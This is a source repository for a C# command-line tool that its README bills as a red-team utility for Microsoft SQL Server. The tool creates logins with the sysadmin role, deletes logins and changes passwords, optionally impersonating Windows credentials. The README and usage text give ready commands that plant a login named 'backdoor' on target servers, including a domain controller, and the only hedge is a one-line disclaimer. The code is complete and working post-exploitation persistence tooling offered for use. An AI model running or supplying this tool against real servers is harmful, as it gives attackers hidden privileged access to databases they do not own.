├── .gitattributes
├── Properties
└── AssemblyInfo.cs
├── README.md
├── Sharpmssqluser.sln
├── Sharpmssqluser.csproj
├── SqlConnection.cs
├── Program.cs
└── UserManager.cs
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // 有关程序集的一般信息由以下
6 | // 控制。更改这些特性值可修改
7 | // 与程序集关联的信息。
8 | [assembly: AssemblyTitle("Sharpmssqluser")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("Sharpmssqluser")]
13 | [assembly: AssemblyCopyright("Copyright © 2025")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // 将 ComVisible 设置为 false 会使此程序集中的类型
18 | //对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型
19 | //请将此类型的 ComVisible 特性设置为 true。
20 | [assembly: ComVisible(false)]
21 |
22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
23 | [assembly: Guid("405fa531-bf34-4f4f-859a-4d22797ed308")]
24 |
25 | // 程序集的版本信息由下列四个值组成:
26 | //
27 | // 主版本
28 | // 次版本
29 | // 生成号
30 | // 修订号
31 | //
32 | [assembly: AssemblyVersion("1.0.0.0")]
33 | [assembly: AssemblyFileVersion("1.0.0.0")]
34 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Sharp MSSQL User Manager
2 |
3 | 红队专用的SQL Server用户管理工具,支持快速添加sysadmin权限用户、删除用户和修改密码。
4 |
5 | ## 🚀 功能特性
6 |
7 | - ✅ **添加用户并自动加入sysadmin角色**
8 | - ✅ **删除SQL Server登录用户**
9 | - ✅ **修改用户密码**
10 | - ✅ **支持集成身份验证和SQL身份验证**
11 | - ✅ **自动权限验证**
12 | - ✅ **清理数据库用户映射**
13 |
14 | ## 📋 使用方法
15 |
16 | ### 基本命令格式
17 |
18 | #### 1. 添加用户(自动加入sysadmin)
19 | ```bash
20 | # 使用SQL身份验证
21 | Sharpmssqluser.exe add -s 192.168.1.100 -u sa -p password123 -tu backdoor -tp P@ssw0rd123
22 |
23 | # 使用集成身份验证
24 | Sharpmssqluser.exe add -s 192.168.1.100 -i -tu backdoor -tp P@ssw0rd123
25 | ```
26 |
27 | #### 2. 删除用户
28 | ```bash
29 | # 删除指定用户
30 | Sharpmssqluser.exe delete -s 192.168.1.100 -u sa -p password123 -tu backdoor
31 | ```
32 |
33 | #### 3. 修改用户密码
34 | ```bash
35 | # 修改用户密码
36 | Sharpmssqluser.exe changepass -s 192.168.1.100 -u sa -p password123 -tu backdoor -np NewP@ssw0rd456
37 | ```
38 |
39 | ## 📖 参数说明
40 |
41 | ### 全局参数
42 | - `-s, --server`: SQL Server地址 (必需)
43 | - `-u, --username`: 连接用户名
44 | - `-p, --password`: 连接密码
45 | - `-i, --integrated`: 使用windows身份验证
46 | - `-d, --database`: 目标数据库 (默认: master)
47 |
48 | ### 命令特定参数
49 | - `-tu, --target-user`: 目标用户名 (必需)
50 | - `-tp, --target-password`: 目标用户密码 (添加用户时必需)
51 | - `-np, --new-password`: 新密码 (修改密码时必需)
52 |
53 | ---
54 |
55 | **免责声明**: 此工具仅用于授权的安全测试目的,请勿用于非法活动。
--------------------------------------------------------------------------------
/Sharpmssqluser.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.13.35919.96 d17.13
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Sharpmssqluser", "Sharpmssqluser.csproj", "{405FA531-BF34-4F4F-859A-4D22797ED308}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {405FA531-BF34-4F4F-859A-4D22797ED308}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {405FA531-BF34-4F4F-859A-4D22797ED308}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {405FA531-BF34-4F4F-859A-4D22797ED308}.Debug|x64.ActiveCfg = Debug|Any CPU
19 | {405FA531-BF34-4F4F-859A-4D22797ED308}.Debug|x64.Build.0 = Debug|Any CPU
20 | {405FA531-BF34-4F4F-859A-4D22797ED308}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {405FA531-BF34-4F4F-859A-4D22797ED308}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {405FA531-BF34-4F4F-859A-4D22797ED308}.Release|x64.ActiveCfg = Release|Any CPU
23 | {405FA531-BF34-4F4F-859A-4D22797ED308}.Release|x64.Build.0 = Release|Any CPU
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {0F098403-32DC-4CF8-9242-7B07884E9378}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/Sharpmssqluser.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {405FA531-BF34-4F4F-859A-4D22797ED308}
8 | Exe
9 | Sharpmssqluser
10 | Sharpmssqluser
11 | v4.0
12 | 512
13 | true
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
--------------------------------------------------------------------------------
/SqlConnection.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Data.SqlClient;
3 | using System.Threading.Tasks;
4 | using System.Security.Principal;
5 | using System.Runtime.InteropServices;
6 |
7 | namespace Sharpmssqluser
8 | {
9 | public class SqlConnectionManager
10 | {
11 | private readonly string _connectionString;
12 | private readonly string _domain;
13 | private readonly string _impersonateUser;
14 | private readonly string _impersonatePassword;
15 | private WindowsImpersonationContext _impersonationContext;
16 |
17 | public SqlConnectionManager(string server, string database, string username, string password, bool integratedSecurity, int timeout)
18 | {
19 | var builder = new SqlConnectionStringBuilder
20 | {
21 | DataSource = server,
22 | InitialCatalog = database,
23 | ConnectTimeout = timeout
24 | };
25 |
26 | if (integratedSecurity)
27 | {
28 | builder.IntegratedSecurity = true;
29 |
30 | // Check if username contains domain info for impersonation
31 | if (!string.IsNullOrEmpty(username) && !string.IsNullOrEmpty(password))
32 | {
33 | if (username.Contains("\\"))
34 | {
35 | var parts = username.Split('\\');
36 | _domain = parts[0];
37 | _impersonateUser = parts[1];
38 | }
39 | else
40 | {
41 | _domain = "."; // Local machine
42 | _impersonateUser = username;
43 | }
44 | _impersonatePassword = password;
45 | }
46 | }
47 | else
48 | {
49 | builder.UserID = username;
50 | builder.Password = password;
51 | }
52 |
53 | _connectionString = builder.ConnectionString;
54 | }
55 |
56 | public SqlConnection GetConnection()
57 | {
58 | // Start impersonation if needed
59 | if (!string.IsNullOrEmpty(_impersonateUser))
60 | {
61 | StartImpersonation();
62 | }
63 |
64 | return new SqlConnection(_connectionString);
65 | }
66 |
67 | public bool TestConnection()
68 | {
69 | try
70 | {
71 | using (var connection = GetConnection())
72 | {
73 | connection.Open();
74 | Console.WriteLine("[+] Database connection successful!");
75 | return true;
76 | }
77 | }
78 | catch (Exception ex)
79 | {
80 | Console.WriteLine("[-] Database connection failed: " + ex.Message);
81 | return false;
82 | }
83 | finally
84 | {
85 | StopImpersonation();
86 | }
87 | }
88 |
89 | public bool IsSysAdmin()
90 | {
91 | try
92 | {
93 | using (var connection = GetConnection())
94 | {
95 | connection.Open();
96 |
97 | using (var command = new SqlCommand("SELECT IS_SRVROLEMEMBER('sysadmin')", connection))
98 | {
99 | var result = command.ExecuteScalar();
100 | return Convert.ToInt32(result) == 1;
101 | }
102 | }
103 | }
104 | catch (Exception ex)
105 | {
106 | Console.WriteLine("[-] Failed to check privileges: " + ex.Message);
107 | return false;
108 | }
109 | finally
110 | {
111 | StopImpersonation();
112 | }
113 | }
114 |
115 | public string GetCurrentUser()
116 | {
117 | try
118 | {
119 | using (var connection = GetConnection())
120 | {
121 | connection.Open();
122 |
123 | using (var command = new SqlCommand("SELECT SUSER_NAME()", connection))
124 | {
125 | var result = command.ExecuteScalar();
126 | return result != null ? result.ToString() : "Unknown";
127 | }
128 | }
129 | }
130 | catch (Exception ex)
131 | {
132 | Console.WriteLine("[-] Failed to get current user: " + ex.Message);
133 | return "Unknown";
134 | }
135 | finally
136 | {
137 | StopImpersonation();
138 | }
139 | }
140 |
141 | private void StartImpersonation()
142 | {
143 | if (string.IsNullOrEmpty(_impersonateUser)) return;
144 |
145 | try
146 | {
147 | IntPtr token = IntPtr.Zero;
148 | bool success = LogonUser(_impersonateUser, _domain, _impersonatePassword,
149 | LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, out token);
150 |
151 | if (success)
152 | {
153 | WindowsIdentity identity = new WindowsIdentity(token);
154 | _impersonationContext = identity.Impersonate();
155 | Console.WriteLine("[*] Impersonating user: " + _domain + "\\" + _impersonateUser);
156 | }
157 | else
158 | {
159 | Console.WriteLine("[-] Failed to impersonate user: " + _domain + "\\" + _impersonateUser);
160 | }
161 |
162 | if (token != IntPtr.Zero)
163 | CloseHandle(token);
164 | }
165 | catch (Exception ex)
166 | {
167 | Console.WriteLine("[-] Impersonation error: " + ex.Message);
168 | }
169 | }
170 |
171 | private void StopImpersonation()
172 | {
173 | if (_impersonationContext != null)
174 | {
175 | _impersonationContext.Undo();
176 | _impersonationContext = null;
177 | }
178 | }
179 |
180 | public void Dispose()
181 | {
182 | StopImpersonation();
183 | }
184 |
185 | // Windows API imports for impersonation
186 | [DllImport("advapi32.dll", SetLastError = true)]
187 | private static extern bool LogonUser(string lpszUsername, string lpszDomain, string lpszPassword,
188 | int dwLogonType, int dwLogonProvider, out IntPtr phToken);
189 |
190 | [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
191 | private extern static bool CloseHandle(IntPtr handle);
192 |
193 | private const int LOGON32_LOGON_NEW_CREDENTIALS = 9;
194 | private const int LOGON32_PROVIDER_DEFAULT = 0;
195 | }
196 | }
--------------------------------------------------------------------------------
/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace Sharpmssqluser
4 | {
5 | class Program
6 | {
7 | static int Main(string[] args)
8 | {
9 | if (args.Length == 0)
10 | {
11 | ShowUsage();
12 | return 1;
13 | }
14 |
15 | try
16 | {
17 | var config = ParseArguments(args);
18 | if (config == null)
19 | {
20 | ShowUsage();
21 | return 1;
22 | }
23 |
24 | return ExecuteCommand(config);
25 | }
26 | catch (Exception ex)
27 | {
28 | Console.WriteLine("[-] Execution failed: " + ex.Message);
29 | return 1;
30 | }
31 | }
32 |
33 | static void ShowUsage()
34 | {
35 | Console.WriteLine("Usage:");
36 | Console.WriteLine(" Add User:");
37 | Console.WriteLine(" Sharpmssqluser.exe add -s [-u ] [-p ] [-i] -tu -tp ");
38 | Console.WriteLine();
39 | Console.WriteLine(" Delete User:");
40 | Console.WriteLine(" Sharpmssqluser.exe delete -s [-u ] [-p ] [-i] -tu ");
41 | Console.WriteLine();
42 | Console.WriteLine(" Change Password:");
43 | Console.WriteLine(" Sharpmssqluser.exe changepass -s [-u ] [-p ] [-i] -tu -np ");
44 | Console.WriteLine();
45 | Console.WriteLine("Parameters:");
46 | Console.WriteLine(" -s SQL Server address");
47 | Console.WriteLine(" -u Connection username (or DOMAIN\\username with -i)");
48 | Console.WriteLine(" -p Connection password");
49 | Console.WriteLine(" -i Use integrated authentication");
50 | Console.WriteLine(" -tu Target username");
51 | Console.WriteLine(" -tp Target user password");
52 | Console.WriteLine(" -np New password");
53 | Console.WriteLine();
54 | Console.WriteLine("Examples:");
55 | Console.WriteLine(" Sharpmssqluser.exe add -s 192.168.1.100 -u sa -p password123 -tu backdoor -tp P@ssw0rd123");
56 | Console.WriteLine(" Sharpmssqluser.exe delete -s 192.168.1.100 -i -tu backdoor");
57 | Console.WriteLine(" Sharpmssqluser.exe add -s DC01.corp.local -i -u CORP\\sqladmin -p domain123 -tu backdoor -tp P@ssw0rd123");
58 | }
59 |
60 | static Config ParseArguments(string[] args)
61 | {
62 | var config = new Config();
63 |
64 | if (args.Length < 1)
65 | return null;
66 |
67 | config.Command = args[0].ToLower();
68 |
69 | for (int i = 1; i < args.Length; i++)
70 | {
71 | switch (args[i].ToLower())
72 | {
73 | case "-s":
74 | if (i + 1 < args.Length) config.Server = args[++i];
75 | break;
76 | case "-u":
77 | if (i + 1 < args.Length) config.Username = args[++i];
78 | break;
79 | case "-p":
80 | if (i + 1 < args.Length) config.Password = args[++i];
81 | break;
82 | case "-i":
83 | config.IntegratedAuth = true;
84 | break;
85 | case "-tu":
86 | if (i + 1 < args.Length) config.TargetUser = args[++i];
87 | break;
88 | case "-tp":
89 | if (i + 1 < args.Length) config.TargetPassword = args[++i];
90 | break;
91 | case "-np":
92 | if (i + 1 < args.Length) config.NewPassword = args[++i];
93 | break;
94 | }
95 | }
96 |
97 | // Validate required parameters
98 | if (string.IsNullOrEmpty(config.Server))
99 | {
100 | Console.WriteLine("[-] Error: Must specify server address (-s)");
101 | return null;
102 | }
103 |
104 | if (string.IsNullOrEmpty(config.TargetUser))
105 | {
106 | Console.WriteLine("[-] Error: Must specify target username (-tu)");
107 | return null;
108 | }
109 |
110 | if (config.Command == "add" && string.IsNullOrEmpty(config.TargetPassword))
111 | {
112 | Console.WriteLine("[-] Error: Must specify target user password when adding user (-tp)");
113 | return null;
114 | }
115 |
116 | if (config.Command == "changepass" && string.IsNullOrEmpty(config.NewPassword))
117 | {
118 | Console.WriteLine("[-] Error: Must specify new password when changing password (-np)");
119 | return null;
120 | }
121 |
122 | if (!config.IntegratedAuth && (string.IsNullOrEmpty(config.Username) || string.IsNullOrEmpty(config.Password)))
123 | {
124 | Console.WriteLine("[-] Error: Must specify username and password for non-integrated authentication (-u and -p)");
125 | return null;
126 | }
127 |
128 | // For integrated auth with impersonation, both username and password are optional but if one is provided, both must be provided
129 | if (config.IntegratedAuth && !string.IsNullOrEmpty(config.Username) && string.IsNullOrEmpty(config.Password))
130 | {
131 | Console.WriteLine("[-] Error: When using impersonation with integrated auth, both username and password must be provided");
132 | return null;
133 | }
134 |
135 | return config;
136 | }
137 |
138 | static int ExecuteCommand(Config config)
139 | {
140 | try
141 | {
142 | Console.WriteLine("[*] Connecting to server: " + config.Server);
143 |
144 | var connectionManager = new SqlConnectionManager(
145 | config.Server,
146 | "master",
147 | config.Username ?? "",
148 | config.Password ?? "",
149 | config.IntegratedAuth,
150 | 30);
151 |
152 | if (!connectionManager.TestConnection())
153 | {
154 | Console.WriteLine("[-] Connection failed, please check connection parameters");
155 | return 1;
156 | }
157 |
158 | var currentUser = connectionManager.GetCurrentUser();
159 | var isSysAdmin = connectionManager.IsSysAdmin();
160 |
161 | Console.WriteLine("[*] Current user: " + currentUser);
162 | Console.WriteLine("[*] SysAdmin privileges: " + (isSysAdmin ? "Yes" : "No"));
163 |
164 | if (!isSysAdmin && config.Command == "add")
165 | {
166 | Console.WriteLine("[-] Warning: Current user does not have sysadmin privileges, operation may fail");
167 | }
168 |
169 | var userManager = new UserManager(connectionManager);
170 | bool success = false;
171 |
172 | switch (config.Command)
173 | {
174 | case "add":
175 | Console.WriteLine("[*] Preparing to add user: " + config.TargetUser);
176 | success = userManager.AddUserWithSysAdmin(config.TargetUser, config.TargetPassword, false);
177 | if (success)
178 | {
179 | Console.WriteLine("[+] User '" + config.TargetUser + "' added successfully and granted sysadmin role!");
180 | }
181 | break;
182 |
183 | case "delete":
184 | Console.WriteLine("[*] Preparing to delete user: " + config.TargetUser);
185 | success = userManager.DeleteUser(config.TargetUser, false);
186 | if (success)
187 | {
188 | Console.WriteLine("[+] User '" + config.TargetUser + "' deleted successfully!");
189 | }
190 | break;
191 |
192 | case "changepass":
193 | Console.WriteLine("[*] Preparing to change user password: " + config.TargetUser);
194 | success = userManager.ChangePassword(config.TargetUser, config.NewPassword, false);
195 | if (success)
196 | {
197 | Console.WriteLine("[+] Password for user '" + config.TargetUser + "' changed successfully!");
198 | }
199 | break;
200 |
201 | default:
202 | Console.WriteLine("[-] Error: Unsupported command '" + config.Command + "'");
203 | return 1;
204 | }
205 |
206 | return success ? 0 : 1;
207 | }
208 | catch (Exception ex)
209 | {
210 | Console.WriteLine("[-] Execution failed: " + ex.Message);
211 | return 1;
212 | }
213 | }
214 | }
215 |
216 | class Config
217 | {
218 | public string Command { get; set; }
219 | public string Server { get; set; }
220 | public string Username { get; set; }
221 | public string Password { get; set; }
222 | public bool IntegratedAuth { get; set; }
223 | public string TargetUser { get; set; }
224 | public string TargetPassword { get; set; }
225 | public string NewPassword { get; set; }
226 | }
227 | }
--------------------------------------------------------------------------------
/UserManager.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Data.SqlClient;
4 |
5 | namespace Sharpmssqluser
6 | {
7 | public class UserManager
8 | {
9 | private readonly SqlConnectionManager _connectionManager;
10 |
11 | public UserManager(SqlConnectionManager connectionManager)
12 | {
13 | _connectionManager = connectionManager;
14 | }
15 |
16 | ///
17 | /// Add SQL Server login user and grant sysadmin role
18 | ///
19 | public bool AddUserWithSysAdmin(string username, string password, bool hideOutput)
20 | {
21 | try
22 | {
23 | using (var connection = _connectionManager.GetConnection())
24 | {
25 | connection.Open();
26 |
27 | // Check if user already exists
28 | if (UserExists(connection, username))
29 | {
30 | if (!hideOutput) Console.WriteLine("[-] User '" + username + "' already exists");
31 | return false;
32 | }
33 |
34 | // Get SQL Server version
35 | var version = GetSqlServerVersion(connection);
36 | if (!hideOutput) Console.WriteLine("[*] SQL Server Version: " + version);
37 |
38 | // Create login user
39 | var createLoginSql = string.Format(@"
40 | CREATE LOGIN [{0}]
41 | WITH PASSWORD = '{1}',
42 | DEFAULT_DATABASE = [master],
43 | CHECK_EXPIRATION = OFF,
44 | CHECK_POLICY = OFF", username, password.Replace("'", "''"));
45 |
46 | using (var command = new SqlCommand(createLoginSql, connection))
47 | {
48 | command.ExecuteNonQuery();
49 | }
50 |
51 | if (!hideOutput) Console.WriteLine("[+] Successfully created login user: " + username);
52 |
53 | // Add to sysadmin role - choose syntax based on version
54 | bool addRoleSuccess = false;
55 |
56 | // Try new syntax first (SQL Server 2012+)
57 | try
58 | {
59 | var newSyntaxSql = string.Format("ALTER SERVER ROLE [sysadmin] ADD MEMBER [{0}]", username);
60 | using (var command = new SqlCommand(newSyntaxSql, connection))
61 | {
62 | command.ExecuteNonQuery();
63 | addRoleSuccess = true;
64 | if (!hideOutput) Console.WriteLine("[+] Added to sysadmin role using new syntax");
65 | }
66 | }
67 | catch
68 | {
69 | // New syntax failed, use legacy syntax (SQL Server 2008 compatible)
70 | try
71 | {
72 | var oldSyntaxSql = string.Format("EXEC sp_addsrvrolemember '{0}', 'sysadmin'", username.Replace("'", "''"));
73 | using (var command = new SqlCommand(oldSyntaxSql, connection))
74 | {
75 | command.ExecuteNonQuery();
76 | addRoleSuccess = true;
77 | if (!hideOutput) Console.WriteLine("[+] Added to sysadmin role using legacy syntax");
78 | }
79 | }
80 | catch (Exception ex)
81 | {
82 | if (!hideOutput) Console.WriteLine("[-] Failed to add to sysadmin role: " + ex.Message);
83 | }
84 | }
85 |
86 | if (!addRoleSuccess)
87 | {
88 | if (!hideOutput) Console.WriteLine("[-] Unable to add user to sysadmin role");
89 | return false;
90 | }
91 |
92 | if (!hideOutput) Console.WriteLine("[+] Successfully added user '" + username + "' to sysadmin role");
93 |
94 | // Verify privileges
95 | if (VerifyUserSysAdmin(connection, username))
96 | {
97 | if (!hideOutput) Console.WriteLine("[+] Privilege verification successful: " + username + " has sysadmin privileges");
98 | return true;
99 | }
100 | else
101 | {
102 | if (!hideOutput) Console.WriteLine("[-] Privilege verification failed: " + username);
103 | return false;
104 | }
105 | }
106 | }
107 | catch (Exception ex)
108 | {
109 | if (!hideOutput) Console.WriteLine("[-] Failed to add user: " + ex.Message);
110 | return false;
111 | }
112 | }
113 |
114 | ///
115 | /// Delete SQL Server login user
116 | ///
117 | public bool DeleteUser(string username, bool hideOutput)
118 | {
119 | try
120 | {
121 | using (var connection = _connectionManager.GetConnection())
122 | {
123 | connection.Open();
124 |
125 | // Check if user exists
126 | if (!UserExists(connection, username))
127 | {
128 | if (!hideOutput) Console.WriteLine("[-] User '" + username + "' does not exist");
129 | return false;
130 | }
131 |
132 | // Remove user database mappings (if any)
133 | RemoveUserDatabaseMappings(connection, username, hideOutput);
134 |
135 | // Delete login user
136 | var dropLoginSql = string.Format("DROP LOGIN [{0}]", username);
137 |
138 | using (var command = new SqlCommand(dropLoginSql, connection))
139 | {
140 | command.ExecuteNonQuery();
141 | }
142 |
143 | if (!hideOutput) Console.WriteLine("[+] Successfully deleted user: " + username);
144 | return true;
145 | }
146 | }
147 | catch (Exception ex)
148 | {
149 | if (!hideOutput) Console.WriteLine("[-] Failed to delete user: " + ex.Message);
150 | return false;
151 | }
152 | }
153 |
154 | ///
155 | /// Change user password
156 | ///
157 | public bool ChangePassword(string username, string newPassword, bool hideOutput)
158 | {
159 | try
160 | {
161 | using (var connection = _connectionManager.GetConnection())
162 | {
163 | connection.Open();
164 |
165 | // Check if user exists
166 | if (!UserExists(connection, username))
167 | {
168 | if (!hideOutput) Console.WriteLine("[-] User '" + username + "' does not exist");
169 | return false;
170 | }
171 |
172 | // Change password
173 | var changePasswordSql = string.Format(@"
174 | ALTER LOGIN [{0}]
175 | WITH PASSWORD = '{1}'", username, newPassword.Replace("'", "''"));
176 |
177 | using (var command = new SqlCommand(changePasswordSql, connection))
178 | {
179 | command.ExecuteNonQuery();
180 | }
181 |
182 | if (!hideOutput) Console.WriteLine("[+] Successfully changed password for user '" + username + "'");
183 | return true;
184 | }
185 | }
186 | catch (Exception ex)
187 | {
188 | if (!hideOutput) Console.WriteLine("[-] Failed to change password: " + ex.Message);
189 | return false;
190 | }
191 | }
192 |
193 | ///
194 | /// Get SQL Server version information
195 | ///
196 | private string GetSqlServerVersion(SqlConnection connection)
197 | {
198 | try
199 | {
200 | using (var command = new SqlCommand("SELECT @@VERSION", connection))
201 | {
202 | var result = command.ExecuteScalar();
203 | return result != null ? result.ToString() : "Unknown Version";
204 | }
205 | }
206 | catch
207 | {
208 | return "Unknown Version";
209 | }
210 | }
211 |
212 | ///
213 | /// Check if user exists
214 | ///
215 | private bool UserExists(SqlConnection connection, string username)
216 | {
217 | var checkUserSql = "SELECT COUNT(*) FROM sys.server_principals WHERE name = @username AND type = 'S'";
218 |
219 | using (var command = new SqlCommand(checkUserSql, connection))
220 | {
221 | command.Parameters.AddWithValue("@username", username);
222 | var result = command.ExecuteScalar();
223 | return Convert.ToInt32(result) > 0;
224 | }
225 | }
226 |
227 | ///
228 | /// Verify if user has sysadmin privileges
229 | ///
230 | private bool VerifyUserSysAdmin(SqlConnection connection, string username)
231 | {
232 | var verifySql = @"SELECT IS_SRVROLEMEMBER('sysadmin', @username)";
233 |
234 | using (var command = new SqlCommand(verifySql, connection))
235 | {
236 | command.Parameters.AddWithValue("@username", username);
237 | var result = command.ExecuteScalar();
238 | return Convert.ToInt32(result) == 1;
239 | }
240 | }
241 |
242 | ///
243 | /// Remove user database mappings
244 | ///
245 | private void RemoveUserDatabaseMappings(SqlConnection connection, string username, bool hideOutput)
246 | {
247 | try
248 | {
249 | // Get all user databases (excluding system databases)
250 | var getDatabasesSql = @"
251 | SELECT name
252 | FROM sys.databases
253 | WHERE database_id > 4
254 | AND state = 0"; // Only process online databases
255 |
256 | var databases = new List();
257 |
258 | using (var command = new SqlCommand(getDatabasesSql, connection))
259 | {
260 | using (var reader = command.ExecuteReader())
261 | {
262 | while (reader.Read())
263 | {
264 | databases.Add(reader.GetString(0));
265 | }
266 | }
267 | }
268 |
269 | // Check and remove user mappings from each database
270 | foreach (var dbName in databases)
271 | {
272 | try
273 | {
274 | // Check if user exists in this database
275 | var checkUserSql = string.Format(@"
276 | USE [{0}];
277 | SELECT COUNT(*) FROM sys.database_principals
278 | WHERE name = '{1}' AND type = 'S'", dbName, username.Replace("'", "''"));
279 |
280 | using (var command = new SqlCommand(checkUserSql, connection))
281 | {
282 | var userCount = Convert.ToInt32(command.ExecuteScalar());
283 | if (userCount > 0)
284 | {
285 | // User exists, remove mapping
286 | var dropUserSql = string.Format("USE [{0}]; DROP USER [{1}]", dbName, username);
287 |
288 | using (var dropCommand = new SqlCommand(dropUserSql, connection))
289 | {
290 | dropCommand.ExecuteNonQuery();
291 | }
292 |
293 | if (!hideOutput) Console.WriteLine("[+] Removed user mapping from database '" + dbName + "'");
294 | }
295 | }
296 | }
297 | catch (Exception dbEx)
298 | {
299 | if (!hideOutput) Console.WriteLine("[!] Warning while processing database '" + dbName + "': " + dbEx.Message);
300 | }
301 | }
302 | }
303 | catch (Exception ex)
304 | {
305 | if (!hideOutput) Console.WriteLine("[!] Warning while cleaning database mappings: " + ex.Message);
306 | }
307 | }
308 | }
309 | }
--------------------------------------------------------------------------------